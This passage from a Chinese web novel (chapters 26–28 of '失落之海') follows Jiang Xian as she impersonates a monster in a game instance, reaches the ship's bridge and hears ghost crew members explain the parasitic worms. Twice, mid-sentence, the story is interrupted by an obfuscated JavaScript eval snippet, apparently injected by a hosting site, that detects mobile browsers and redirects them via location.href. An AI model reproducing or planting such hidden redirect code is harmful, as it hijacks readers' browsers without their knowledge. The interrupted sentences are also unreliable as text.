“你……把她吞噬了？你是……汉斯？”向导困惑地看着她。 “这不是显而易见的事情？她总不能在这里凭空消失吧？”江显神色自若。 “汉斯，你还记得去年春天时，你和我说的事情吗？”向导突然问道。 穿帮了？这是江显的第一反应。 “怎么了？”江显心脏一阵狂跳。 “没什么，就是问问。” 江显注视着向导，似笑非笑：“我有说过什么吗？” “确实没有。”向导同情地看着她：“去年春天，你死了。我们都死了。” 赌对了！ 江显心道多亏了房间里那几张日记残片。否则她还真可能被套路了。 “但对我来说，我们一直都还活着，船长。”江显突然说道。 她这一声“船长”大概是叫得太情真意切了，向导竟短暂愣住了，像是陷入了某种回忆。 Npc……不，准确来说，吞噬了人类的蠕虫也会有喜怒哀乐吗？她感到困惑不解。 “是啊……唯有和你们在一起时，我才觉得自己是真实的。” 向导感慨着。江显发现他的精神波动又回落回50了。 她开始思考怎样找机会开溜。 “另外的玩家呢？”她问。 “杰克去抓那个男性的了，这么久过去了估计也快成功了吧。” “保险起见，我去转一圈，看到了就搭把手帮他。”江显说，“只是……我担心其他人……” 她欲言又止地看向想到。 “我会用技能和大伙通知一下，免得大伙见到你时误伤。”向导点点头。 成了！ 江显心里窃喜！ 她刚刚故意装作为难的样子，要的就是向导这句话。 有了向导的【广播】，她算是瞒天过海，今夜的危机可谓是彻底解除了。 想到这里江显长舒了一口气。 在第一天看到向导那个【广播】技能时她就一直为此苦恼，那天晚上跟踪时整个人都紧张至极，就怕向导发现他们后一开技能，所有npc跑来把他们群殴。 好在这段时间有惊无险，现在她还全依赖于这个技能实现偷梁换柱！ 向导继续说：“现在既然你已经得手，剩下玩家必定是翻不起什么风浪了。我要暂时离开船上，去完成一件事。” 一瞬间，江显脑子里飞速闪过数种猜测。 “又去巨树那里吗？”她问。 “是啊。”唏嘘的神色竟出现在向导这样的彪形大汉脸上，“那里是我们最终的宿命。” 幸好又猜对了。江显松了口气。 【支线任务1：向导的秘密】已经明确指出，向导和地图中央那颗巨树存在着某些深层次联系。在这种紧要关头他不留在科考船上，显然是有什么更重要的事情要去做。 到底是什么重要的事情呢？ 目前已知的信息似乎还不足以推断出相应答案。 “我有个问题。”江显忽然看向向导，“船长，在你看来，我们还活着么？” “这样的问题没有意义。”向导说。 或许是“船长”的称呼勾起了他太多回忆，他的语气和作为纯粹npc时有些不同。 “对我来说，所有的人和事都停留在了3065年的春天。” “一个人死了，依旧可以活在别人的意识里。”他说，“说实在的我不知道讨论这个的目的是什么，自欺欺人地安慰自己一下自己‘还活着，因为别人还觉得自己活着’吗？” “可是有的人，即便真实的世界已找不到他的踪迹，也依然不意味着他已然死去。” 江显似乎明白了什么。 于是她问：“我们，以及这个副本里的一切，都是依附于你幻觉而存在的幽灵吗？” “你怎样定义幻觉？”向导反问，“你又从何得知，在你踏上这颗星球之前的一切不是你的幻觉？如果我说你这辈子认识和交流过的所有人都来自于你的臆想呢？你又如何证实他们真实存在？” 江显哑口无言。 “连你们自己也无法确定的问题，为什么要问我？”向导自嘲地笑道。 “所以，就满足一下我这个活在梦里的人最后的愿望吧。”他从江显身边径直走过去，“我先给其他人发广播，之后的事情看着办。” 看起来他是彻底对江显放松警惕了。 眼下向导要去巨树那里，尽管不知道具体是做什么。他这个小boss的离开意味着整个科考站都是江显这种精英怪说了算。这种好事她求之不得。 江显压抑着内心的狂喜目送向导走到门口，不想向导却转身来了一句：“怎么技能发动时你掉线了啊？” 26. 失落之海26 江显整个人一顿。 坏了，她没料到还有这一手，向导那个【广播】技能居然还能显示广播对象“未读”“已读”“已读不回”。 现在真正的汉斯被她杀死了放在瓶子里，当然没法收到。 总不能这样功亏一篑……她咬咬牙。 “可能是刚刚吞噬了一份强大意识，产生暂时变化了吧。”江显说道，“我确实没有收到你的【广播】。” 向导似乎姑且认同了这个说法，没再追究。 也或许他忙于去解决巨树那里的问题，没心思在这里浪费时间。 于是江显告别了向导，大摇大摆地走出办公室，门口路过的npc甚至冲她打了个招呼。这待遇是她从来没得到过的。 身后传来向导困惑的声音：“我把地下室钥匙放哪儿去了……抽屉怎么也打不开？该死！抽屉钥匙也找不到了……我这该死记性……” 江显路过走廊垃圾桶，默默地把之前顺来的抽屉钥匙扔了进去。这样汉斯的残骸被发现或许可以推迟很久。 现在她要去找她的队友。 她在捉迷藏刚倒计时是就被假“陆寰”骗了过来，于是将计就计获得了合法身份。至于真正的“陆寰”怎么样了，她还真不知道。 一路上，江显碰到了许多npc，他们有的茫然地在第二层游荡着到处找人，有的已经怪鱼化了，正在地面上蹦跶。 “这里是在干什么？”江显走到一间房间前，那里围着一圈人。 江显记得这是陆寰的房间。她的心脏在她自己也没意识的情况下狠狠收缩了一下。 “找人。”npc们七嘴八舌地说。 江显没有阻止，作为“汉斯”她没有阻止的动机。 它们又开始像先前在餐厅里那样撞门了，一个个绷紧尾巴，重重弹射到门上。 房门不堪重负，发出吱呀吱呀的声响。 这里的门不似餐厅里那般铜墙铁骨，在几条怪鱼锲而不舍的努力下，房门直接被一整个撞掉了！ 江显看向屋内，里面空荡荡，连背包都不见了。 仿佛不曾有人来过一样。 看着大开的窗子，她松了口气。 “这不可能！”其中一位npc惊叫，“我们从倒计时开始时就堵在门口了。” “也许是被其他人捷足先登了吧。”江显恶意满满地说道，“如果我是你们，现在去别的房间里查找一遍或许还来得及。” 这么说着，她不再管那些互相推搡着涌入其他房间的怪鱼，继续向前走，苏乐那里也已经人去楼空。 看来她的俩位队友还算机灵，没有在自认为安全的房间里坐以待毙。 二楼全都是npc的房间，他们没理由自投罗网躲进去。因此江显离开了二楼，直奔一楼。 刚刚踩上大厅地面，江显迎面撞上一队npc。 “陆寰”在两个船员的簇拥下朝她走来，眼里充满了探究。 事情变得有意思起来了。江显心想。 Npc簇拥着玩家，想想也知道是不可能的事情。 江显神色不变。现在她可是顶替了汉斯的身份，经向导广播后所有npc都知道了。因此她一点也不担心被误杀。 “你那儿进展怎么样了，杰克？”她没有丝毫犹豫，清了清嗓子问道。 “如你所见，不能更顺利。我也成功完成了吞噬。”顶着“陆寰”脸的杰克微笑着对她说。 “怪不得，我刚刚去他房间时没找到人，原来是被你给得手了。”江显故作遗憾地说。 “做人不能太贪心，汉斯。”“陆寰”脸上隐隐透着愠怒，“最上等的那个已经被你抢走了。你居然还想把手伸到我这里来。” “我们永远不会嫌意识太多，不是吗？”江显脸上掠过一丝被“揭穿”后的尴尬，随后又消失不见。 她把汉斯扮演得惟妙惟肖，尤其是他那副又阴森又不要脸的气质。 “你说得不错。”杰克用那张叫人移不开眼的脸作出一个贪婪的表情。这看起来违和极了。 “所以你们刚刚在路上走着走着，就遇见了他？”江显突然转向那俩个npc说道。 那俩个npc纷纷点头，七嘴八舌道：“我们在厨房里发现了他，他当时和那个玩家一场恶战，刚刚完成了吞噬。” “也就是说，你们也不知道他到底是不是玩家？”江显嘴角噙着一抹笑。 “这……”俩个npc面面相觑，精神波动上上下下。 “他不像是假的！”有一个npc说，“他看到我们镇定极了。一点也不像玩家。” “对……他说他是真的，我们不知怎的就是有这一种感觉……” 这下江显还哪能不知道发生了什么。 “原来如此。”江显计上心来，了然地点点头，“那么我还有一个问题想要问你。杰克，你又是怎么知道我不是玩家的？” “陆寰”只是看着她，不做声。 江显暴起! 俩个npc都一惊。从他们视角看来，“汉斯”一把揪住了“杰克”的脖子，拿另一手的枪对准他。 “他是假的！”江显喊道，“他现在很危险，你们快去报告船长求援！” “可是……” “没有可是，现在就去！”江显一边喊着，一边把“杰克”双手扭在后面。 其他两个npc似乎极为忌惮披着“江显”皮的“汉斯”，很显然汉斯是比他们更高级的怪物。他们唯唯诺诺地跑开了。 “到底怎么回事？”其中一个npc边跑边问问道。 “我哪知道，汉斯刚刚说杰克是假的，也许是发现什么端倪了吧。”另一个说。 “那这样我们岂不是错过了一顿难得的美味！”先前那个npc捶胸顿足。 “就算我们先下手为强也没有用……他们中的任意一个都是完全体，不像我们是残缺品啊……打不过啊！他们会为了这个把我们撕碎的。更何况……” “更何况什么？” “更何况我不知怎的就是相信杰克是真的。”npc用不怎么小声的声音偷偷议论，“没准汉斯盯上了杰克的那一份猎物，只不过是想找个适当的借口把杰克和猎物一起也吞噬了呢。我看他们都是真的！” “啊！原来是这样的吗，那可不是我们能够掺和的，幸亏你想得多……” 两个npc越想越觉得恐怖，脚底抹油就去三楼搬救兵了。 江显将他们的谈话尽收入耳中。 他们刚刚说，最先出事的汉斯和杰克是完全体，而被前者转化的其他船员是残缺品…… 电光火石之间她脑中闪过许多念头。 “所以现在，可以放开我了吗？” 江显一回神，就见憋红了脸的陆寰正幽怨地看着她。 他喉头反射性地滚动，于是江显掌心触到了一道涟漪。 她讪讪地松了手，故作镇定地补上一句：“不过是又一次受到你拟态体邀请，惊吓后的应激状态。” “哇塞。好一个应激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14209375|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”陆寰无语了，“你明明第一次见到我时就能准确把我和npc区别开来。你当时甚至撺掇苏乐孤立我！” 他的语气里充满了委屈，江显没忍住差点笑出声。 “可是那个叫汉斯的不知怎么回事，总是屡教不改地变成你。我头都被搞晕了。” “喂喂，冤有头债有主。”陆寰抗议。 “所以我把他干掉了。”江显摊摊手，“苏乐呢？” “她躲冰库里去了，刚刚解决杰克时我看到的。那里全是冻鱼作为掩体，而且附近地形复杂有利于逃脱，她暂时不会有大问题。”陆寰回答。 队友们都安然无恙。江显久违地感到一丝轻松。 没错，站在她面前的，是如假包换的陆寰。 刚刚那俩npc确实猜对了一部分。俩人一番折腾只是想把他们无关人士支开。 只不过他们做梦也没想到的是，这俩人都是货真价实的本人，压根不是什么npc伪装成的玩家。 刚刚打照面的一瞬间，江显就靠着那个技能认出了陆寰。只有在看到他时她眼前的说明会全部消失，仿佛技能失灵。 显然，陆寰当时也认出了她，俩人一拍即合想要联手探索。但是碍于有俩个烦人的npc在场，他们也不好直接组队活动。 俩人没把握在这种时候把npc和他们的蠕虫脑子全部干掉。而只要有一个漏网之鱼恢复后重构身体，他们就会彻底暴露。 于是，江显假装的“汉斯”选择谎称陆寰假装的“杰克”是假的。这样他们就有了充分理由把npc支开。 “刚刚我解决汉斯的时候，他说了一些很奇怪的话。”江显说道。 “关于‘蠕虫，果实，怪鱼，npc’？” “是。”江显说，“他说，他们本质上都是一样的，我现在还没完全明白这到底是什么意思。” “杰克在死前也说了类似的话。”陆寰点头，“你现在有什么想法吗？” 江显思考片刻：“我隐约发现了它们在行为模式上存在的一些共同点。” “无论是上述中的哪一个群体，它们似乎都存在一个‘发号施令’的‘中心’。外周需要‘中枢’的调控，否则会自相残杀陷入紊乱。” “拿那些树举例子。树林里只有那颗巨树是真正的boss，其他都是‘附件’，没有思想和神智，无法与彼此交流，轻而易举就被我们诱导得互相毁灭。” “而虫子，它们总是在吞噬彼此，却无法凝聚成单独个体，唯有吞噬了人类后才能做到。或许从某种角度来看，人类意识碎片是它们的‘中心’。” “而怪鱼npc呢……我看到它们拥有一个叫做【嗜血】的技能，在一定条件下也能够挑起内讧。虽然因为它们本身却没有血，这个效果还没有得到证实。除此之外，向导能够对他们进行【广播】，这同样也是一种‘中枢控制外周’的结构。” 陆寰略显惊讶：“原来你第一天在餐厅里用叉子叉鱼，是为了验证这个。” 江显没想到他观察得如此细微，同样惊讶地挑了挑眉。 俩人一边聊着，脚步却是没停，现在已经抵达了楼梯下的那扇小门口。 “可惜我们目前还没有钥匙。”陆寰说。 他显而易见也无法收到想到的【广播】信息，因此还不知道江显已经去过办公室了。 下一刻，在他震惊的眼神里，江显掏出了那串钥匙。 “现在有了。”江显勾起唇角。 咔哒一声，锁开了。 27. 失落之海27 浓重的霉尘气的扑面而来。俩人被呛得一阵轻咳。 眼前一片漆黑，江显从背包里拿出手电筒打开，眼前出现了一片让人安心的光晕，尽管它只能照见脚下有限范围内的台阶。 他们把那扇生锈的铁门在身后拉上，沿着台阶向下。 两侧的通道十分狭窄，仅有一人半宽， “到平地了。”江显提醒道。 借着手电筒的光晕，他们辨认着周围的物体。 这的确是一间驾驶舱。 密密麻麻的蛛网笼罩着墙面，像是要把一切都掩藏。从那些反着光的屏障间隙里，江显看到了仪表盘和复杂的操作器。 这曾经控制着整条船在碧波上航行的指挥中枢，终是沉睡在了藤蔓之间，伴随着全船人的异化和疯狂。 它被困在了枝条之间，被包裹得像是一只茧；变异怪鱼从它内部孕育，就像是那些白色蠕虫潮水似得涌动而出。 江显的技能没有发动任何警告。于是她大胆地走过去，用手拂去那些厚重的蛛网。 这里尘封得太久了，连蛛网都老化和变性，轻轻一碰就应声断裂。她用手划过表面，像是利刃轻而易举裁开一道帷幕；然后那些用作遮掩的表面落下去，化为齑粉和积灰。 江显从厚重的时间里把这艘船剥离了出来。 于是那些驾驶座、仪表盘和操控器终于显露了真容。所有按键都黯淡着没有光彩；速度表的指针停在最低端，像是一块沉在海底的金属。 她端详了片刻，按下了边上那个红色的圆形启动按钮。 “滴。” 一声很轻的声响。 然后红色按键开始闪烁，操控光屏上乍现断断续续的波形。 眼前忽地闪过蓝色的虚影。 “小心！”陆寰急忙提醒。 那是三张闪着蓝光的半透明人脸，就那样悬浮在半空中，仿佛是由什么投影设备投射出来的，然而整个船舱内却没有任何投影仪。 现在那三张脸开始扭动和变化，他们正在高处打量着这闯入的俩人。 江显没有退后，她的眼前正显示着具体文字。 病变提示 名称：幽灵船员【无攻击性】 武力：/ 智力：70 技能： 【掌舵】：启动和操控整艘船。 检查建议：尽管船员早已死去多年，他们的意识却并未随着□□消逝，反而与整艘船融为一体。当你们在海上遇到风浪、手足无措时，可以求助于他们。 而在这段文字下方，江显看到了那个久违的“？1可触发”标记。 果然，最后一条支线就在这里。 “你们是什么？又为什么出现在这里？”江显率先问道。 在陆寰惊愕的目光里，她就那样迎着他们走上前去，仰头问道。 三张脸你看看我我看看你，然后又陷入了短暂的沉默。 “你们又是谁？我们如何确定你们和那些变异的同伴们不同？”幽灵船员反问。 “我们是接替你们前来这里的科考队员。”陆寰按照副本给他们的身份回答道，“我们没有吃过生鱼，没有接触到包裹蠕虫的果实，也没有被树木绞死。我们确信自己没有被污染。” 幽灵们脸上呈现出思索的表情。 “……【我们被冻在了春日汹涌的绿色潮水之中】”江显说，“这是你们想要留下的警告吗？” 耳旁传来了幽灵船员的哀叹。 下一刻，系统的声音在她耳边响起。 【恭喜玩家江显触发支线任务！】 【支线任务3：重归风浪之日】 【你们即将知晓关于这里的一切过往】 【这艘船上所有的坚守与逃避、忠实与背叛、安宁与动乱、期冀与绝望，都被埋葬在了碧绿的海洋之中；来年春天，树木会结出歌唱它们故事的硕果。】 【穿过谜题和疑团的迷雾、灾难与毁灭的风浪，你们终将抵达阳光下的碧海。】 【任务描述：解除向导和幽灵外全部船员的执念，驾驶科考船重回海面】 【本副本所有支线已触发完毕！完成所有支线可直接获得通关方式（此公告全体玩家可见）】 江显看完了支线任务的描述，等着幽灵说下去。她已经习惯了这种先颁发任务再过剧情的模式。 “你看到了我们留下的日记和绘画草稿。”幽灵说。 “是的。”江显说，“感谢你们留下的线索。它们让我们对这里保持戒备，并得以存活着找到这里。现在，你能详细和我们说说这里到底发生了什么吗？” “这是一个很长，很长的故事。”中间那张脸似是回忆起了什么，说道。 “我们愿意慢慢听。”陆寰也走上前去，“请告诉我们关于这副本的一切。” 于是中间那位船员在略微思索之后开口了。 “在我们来到这里之前，星球上布满了碧绿的海洋。” 他的声音很轻，似乎还透着某种回忆。 “它看似美丽而神秘，但我们在出发前都已被明确告知，那看似无害而瑰丽的色彩其实是有毒物质集聚的结果。” “毒素积聚到海水里，先是富集在海洋植物和浮游生物群体里，再然后不断沿着生物链逐级放大；变异生物死去，它们富含毒素的尸骨又被浮游生物吃掉。周而复始，循环往复。最后海洋里到处充满了变异的怪物。” “‘智树’是科技公司利用基因编辑技术制造出来的一种植物。它能够生长在水上，并以海洋生物为食。它的消化器官经改造后能够分解毒素并储存在自身体内，作为营养物质使用。研究人员们相信用它能够逆转海洋的污染。” “我们接到了一项任务，是在二十年时间里为这片海洋都栽种上树，然后在预计五十年之后，这片海洋里的变异生物能够被彻底清除，毒素在这片海洋里降低到安全界值以下。” “彼时，我们并非唯一接到任务的小队。同时与我们出发的有上千的小组，每一小组负责一块特定区域。” “于是我们满怀信心地出发了。‘智树’这种植物很容易存活，海洋里又不缺食物来源，生长极为迅速。在第十年的时候，我们就已经让整片管辖区都长上了树。” “但是我们没有想到的是，当毒素积聚过多后，竟然连降解它们的树木也开始发生变异！” “最开始是树木开始大规模疯长，远远超过它们应有的高度；再然后我们发现树木开始结出血红色的诡异果实。” “我们小心翼翼地摘下果实做研究。我们将它们切开，然后发现了那些白色的蠕虫。这太违背自然规律了，树里面怎么会结出虫子来？” “再后来，我们在鱼的身体里同样发现了这种蠕虫，只不过是在果实之前的更加幼年形态。我们将这些蠕虫鉴定为一种大型寄生虫。于是我们明白蠕虫是怎么上树的了：它先是寄生在鱼的身体里发育；然后鱼被树捕食，寄生虫也被一同带上树冠；它们因为一些未知的原因未能被降解，并最终和树木融为一体、互利共生；再然后果实通过树根间的间隙重新滚入海洋——那时的树根还远远没有现在这样密。” “于是这样，新一轮的污染循环就开启了。和先前的毒素污染似乎并无本质区别。” “那些蠕虫是海洋里的毒素吗？如果是这样的话它们又从何而来。我们感到疑惑不解。” “我们向上级研究所报告和求援，但是却无人理会我们的消息。于是我们只得被迫尝试自己解决。” “我们当时太过鄙陋，以为蠕虫是造成这一切的元凶。于是我们试图把那些果实摘走，让树木恢复正常。但是我们失败了，果实越来越多。我们不仅目睹了同一果实内蠕虫的相互吞噬，还发现了不同果实之间同样相互吞噬的现象。” “它们可以无穷无尽地相互吞噬，但最后依旧会解体并化为乌有。我们不明白它们族群这些不断上演的残酷弱肉强食、吞并融合究竟是在追寻着什么。” “越来越多的异常现象开始出现：树木开始遮住阳光并大幅度活动、鱼类开始变得富有攻击性、果实也开始密密麻麻…………我们每一天都在见到一个与昨日截然不同的诡异新世界，仿佛它无时不刻都在发育和成熟。” “直到有一天，汉斯消失了。” “有人报告说，他在研究果实时不小心弄破了果壳。然后不见了。” “几天后，杰克也以类似的方式失踪。” “那几天我们找遍了整片区域，却怎么也找不到他们俩人。这引起了所有人的恐慌。” “我们朝总部发送信息，请求获得提前结束任务的准许，但是被拒绝了。在听说了寄生虫的报告之后，他们又以‘需排除感染’为由进行拖延。再后来他们直接切断了与我们的通讯，更别提补给了。” “于是我们被遗弃了。” 江显感受到了一种深深的悲哀。 “那时我太过绝望，以至于没有注意到那段时间里霍列斯的异常。他开始变得沉默寡言，每天晚上都离开科考船。我最开始以为他只是去我们亲手创造的森林里去寻找慰藉了，直到有一天我在夜晚跟踪他来到那颗巨树前。” “那是我们小队在这里种下的第一棵树，它无疑标志着某种质的飞跃。船长在栽种它时灌注了大量心血。它的根在海水里扎得很深，像是一颗深深嵌入版图上的螺丝钉。” “直到那天晚上，我亲耳听到他在和巨树说话。我才知道绝望中的霍列斯和那棵巨树达成了一项丧心病狂的交易。而那棵巨树……它是活的，它有意识，能操纵一整片森林。” “他们达成了什么交易？”江显下意识问。 “听我先说下去。”幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220758|149201||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵说。 “与此同时，树木越来越茂密；渐渐地我们开始在林间寸步难行。我们的船只被困住，我们是搁浅的鱼，被彻底冲上陆地。” “然后不知某天，汉斯和杰克又出现了，以另一种形式。自那以后我的朋友们开始一个接一个消失，又接二连三地出现。” “于是我知道，霍列斯的交易开始初现端倪了。” “而那些失而复现的人，他们都莫名其妙爱上了吃生鱼，我看到他们连带着那些扭动的蠕虫一起吃下去。那时我对于蠕虫的认识还局限于某种寄生虫，于是我们第一反应是——他们被生鱼里的白色蠕虫寄生了！” “我们不知道汉斯把他们带走到底做了些什么，我当时猜测的是强迫他们吃生鱼并让他们被寄生，从而控制他们大脑之类的。直到有一天我在晚上跟踪他们去了冷冻库——我看到——‘汉斯’把那些冻鱼解冻后，让鱼群吃了他们！” “鱼群啃食着他们的血肉和大脑，最后只剩下骨头。” “他不是在给人喂生鱼……他是，他是把人喂给鱼吃！” “然后没过太久，那些把人吃掉的鱼，改变了模样。它们纷纷肚子炸开内脏乱飞，四分五裂地分解成无数碎块，再然后胶水一样黏在一起，重新变成了那个人的样子！” “这就是霍列斯和那颗巨树达成的交易：让蠕虫重新凝聚成汉斯和杰克的模样，让所有已死去和未死去之人都以另一种生命形式存在；即便蠕虫凝聚的人类外壳死亡，只要‘白色大脑’没有消陨，一切就能再度重生。” 他旁边另外俩个幽灵轻声附和：“于是这里自此，不再有死亡和离别，一切都沉溺在无穷无尽的永生轮回之中。” 中间的幽灵继续说下去：“我也终于明白了为什么经过转变的人会爱吃生鱼——因为活着的鱼本身就是白色蠕虫模仿和凝聚后的假冒品。他们在吃鱼时，也就相当于在吞噬蠕虫！这是他们保持生存的某种‘维持剂量’；对于这些不断彼此吞噬来壮大和补充自身的虫子来说，谁吃谁并不重要。” “这些蠕虫重构的同伴们，他们在正常状态下与先前毫无区别，只有在情绪发生大幅波动时才会异常。他们连记忆都与真身一模一样的，这才误导我先前猜错了这些怪物的本质。“ “但是我必须坚信，不是鱼吃了他们，而是鱼里寄生的幼年蠕虫吃了他们！不是果实或树吃了汉斯，而同样是那些蠕虫吃了他们！甚至那些海里被寄生的鱼类，也不过是蠕虫在解构和分析后重组成的假象！以及我们栽种的树……那些树早就经历了这一过程才会变异，所有的一切不过是一个幻影！” “于是我终于明白，这颗星球上已经不存在树、果实、鱼类了，一切都不过是被蠕虫吞噬后幻化出来的假象。它们像是万能积木或是某种计量单元，能够伪装和构建成任何东西！” “我崩溃了，我无法分辨，到底是蠕虫伪装成它们的样子；还是他们同化了蠕虫。” “我无法接受这个血腥而令人恶心的事实。在此之前我甚至做好了足够心理准备，已经能够坦然接受他们的变异，我甚至能够拥抱他们——倘若他们还将我视为同类的话；但我无法接受它们像是一团黏土一样被肢解后又拼接和重组在一起！！！” “我这才意识到，原来我们一直以来都生活在某种复合物黏合而成的世界里。” “可是这样一来，我们如何定义海？如何定义植物和动物？它们早就失去了本来的面貌。它们不过是海一样的、树一样的、鱼一样的，以及人一样的蠕虫、蠕虫、蠕虫、蠕虫！” “那样的我们算是什么？原材料抑或是终成品？我们是蠕虫、鱼、树，还是人类？你能想象构成自己身体和记忆的一部分来自植物、昆虫和卵生动物吗？你能想象自己脸上顶着苍蝇的复眼，背后却生出鸟的羽毛，脸上长满鱼鳃吗？？？那样的你，如何解释自己的起源，如何寻找自己的归宿？这样的跨越挑战了生物学界限和道德伦理，太过残酷和荒诞。” 中间那个幽灵船员情绪激动地呐喊着，脸上满是绝望与悲愤。 片刻停顿后，他平复了一下情绪继续说下去。 “但我一些……曾经的同僚们却有着截然不同的见解。他们认为这是命运赠予的重生机会，让他们得以以这样的形态去实现夙愿。” “而我，我不能容许自己的一部分被打碎后再次被重塑。那感觉就像是一杯粉碎机里混合了蔬菜、生肉和水果的糊状物，然后被人放在模具里重新做成一头牛的样子。” “于是，在一切发生之前。我杀死了自己的大脑。”幽灵船员闭了下眼，脸上露出一种自豪。 “然后，我的意识免于被吞噬和偷窃的命运，依附在了这艘船的系统里。我的人格得到了保全。他们俩位也是一样。” “这就是全部的故事了。” 终于，他结束了叙述。 28. 失落之海28 江显和陆寰沉默地听着这一切，他们都被这里的往事震惊了。 “原来是这样。”江显若有所思，“先前汉斯曾说的‘既是树、也是鱼、果实、人’原来是这个意思。” 原来这里的一切都在进行着永不停歇的更迭；潮起潮落，不断循环。 “只是……启动这个过程的必要元素是什么呢？”江显这么问时，心里已经隐隐有了猜测。 是什么区分了原始状态自相残杀的蠕虫和吞噬人类后重组的蠕虫；又是什么让能够自我感知和操控的中央巨树及其附属们高下立判………… “是意识。”幽灵船员回答。 “人类意识？” “不，这里一切生物的意识。” “植物也有意识？”江显一时没转过弯来。 人和其他动物有意识她尚且能够理解，毕竟他们都有着复杂的神经系统；人类的大脑里更是分布着各种高等中枢，人类的一切认知和思维都在那里发生。 陆寰却像是猛然明白了什么，摇摇头：“他说的不是狭义的意识，而是广义上的——电活动。” 电活动！ 江显猛然惊醒。 一切他们已知的细胞生物都拥有细胞膜，而在那之上遍布着离子通道和离子泵，正是细胞的膜电位变更造就了细胞生理功能的基础。 尽管植物没有动物那样的神经系统、不能产生和它们类似原理的神经信号，但植物们依旧能够通过电信号感知和响应外部刺激。 譬如害羞草合拢的叶片、捕蝇草夹闭的叶瓣……这背后的一切都是微弱生物电流的堆砌。 以高等动物自居的人类，固然可以居高临下地宣判植物乃至动物没有思想和智慧，却无法否认包括他们自身在内都是由电流串联而成的组件集合。 而白色蠕虫……它们记录和模拟这样的电活动。 它们吃掉一切，然后荷载着不同生物的“意识”融合在一起，与此同时又在生物学上模仿它们的形态。 它们将鱼的记忆携带给树，结出血腥的果实，然后又传递给它们构造的“人类”。 “白色蠕虫像是某种溶解剂，又像是某种粘合胶；它们分解，然后又把一切碎片都组装在一起。”江显说，“这里的一切都在不停地分散和聚拢，又在一片混沌中呈现一帧帧短暂的定格。” 是朝生暮死的虫子，也是永不凋零的巨树。 短暂和漫长在这里打破了时间壁垒，直至最后一缕电流的消逝。 “也就是说，自你们来到这里开始，蠕虫就开始侵染这里的一切生物？”最后，江显总结道。 “是。” “它们的目的又是什么？”江显蹙着眉，百思不得其解。 “谁知道呢？或许是吃掉人类取而代之吧。”幽灵说。 “那说不通。”江显摇摇头，“如果这样解释，那他们大可以直接吞噬人类，将他们作为养料。进食者没必要模仿食物。就好像你会想要去模仿一条鱼吗？” “可是它们却大费周折还要变成他们的样子，甚至还承袭了他们的记忆及整个循环里全部生物的意识。” 幽灵说：“那你说，他们在干什么？” 江显沉默片刻，最后不太确定地说：“他们在学习。” 陆寰闻言垂下了眼。 幽灵有些错愕：“学习？” “没错。它们模拟一切生物的‘意识’，模拟它们的外观形态；起先是植物，然后是动物，最后循环至人类。它们不断学习，模拟着这些生物的生存过程；现在它们需要人类的全部记忆来解析和探索人类的思维方式与情感模式。” 一瞬间，江显脑子里闪烁着令人眼花缭乱的念头。那些她先前忽略的、有着千丝万缕联系的细节，此刻都在她脑海里编织成一张大网。 江显想起了自己在遭遇森林暴动那一天的事情。 当时她看着地图中央那颗巨树，以及在巨树指挥下朝四周播散和衰减的骚动，觉得整个副本像极了一个孤立的神经元。兴奋在它上面产生，局部电位随距离而减弱，直至在屏障处终结。 而现在，不论是他们那天在屏障那儿目睹的玩家，还是刚刚幽灵所说的“成千的任务小队”，都已经明确证明：副本之外仍然是副本，副本与副本天衣无缝地拼接弥合。 唯有一堵屏障的间隙。 江显明白它是什么了。 ——这颗星球，是一颗尚且沉睡、无意识的、被无数神经元覆盖的—— 大脑。 蠕虫们在帮助星球模拟和构建人类大脑。 为此，蠕虫观察一切生物、连同记忆一起吞噬它们并伪装成它们的样子。 如今它们已经认识了人类，并对他们身体最复杂部分的电活动进行了解构；于是它们开始摹照着这一模型，在星球上进行更为深入的实验。 ——它们要让这颗“大脑”真正运作起来。 现在这颗由蠕虫假扮树木构建而成的“大脑”还犹如腹中胎儿；电流还仅仅局限地绽放于一小片一小片被叫做副本的区域、未曾大范围交汇联通过。 江显明白了。 尽管他们现在相互隔离犹如孤岛，但那只是暂时之事。在动物体内，神经元与神经元之间的鸿沟并非信号无法跨越，否则身为高等动物的人类又如何记忆学习思考，如何完成无数看似寻常却又机制复杂的任务？ 而兴奋跨神经元传递所需要的只是——更大的刺激强度。 江显因自己的推测而浑身战栗。 自他们这些玩家们来到这颗星球起，便无时不刻地在对这里进行着微弱的刺激。 以他们这一队而言，他们毁坏果实、与树木战斗、与npc周旋并不断窥探真相；他们的一举一动都在影响着这个副本原先建立的稳态，潜在破坏的同时又移默化地对这里进行着重塑。 于是，刺激像是海浪一样，一浪高过一浪；所以【最终boss】随着副本的进程而不断复苏。 而当他们那天紧贴屏障停止对于树木的刺激，复苏自然也就暂时停止了。 微弱的刺激只能产生局限于单个副本之内的效应，无法跨越屏障；但当刺激达到阈值之时，动作电位产生，于是神经元与神经元之间的天堑得以消弭；递质释放代替电信号透过间隙，跨越那道看似不可逾越的天堑；然后神经冲动像这样传遍所有的副本，形成完整的通路。 整颗星球都将为之闪烁。 那将是它的第一声啼哭。 “动作电位……”江显喃喃地说道，“巨树100%觉醒时所引发的后果是足以影响整颗星球的动作电位！那时候，所有副本都将融合，不再有屏障，海洋重新席卷一切……” “……向导本身是那个高强度刺激！” 唯有这样才能解释为何他会在这样的紧要关头离开科考站前往巨树那里，因为他要启动这颗大脑！ 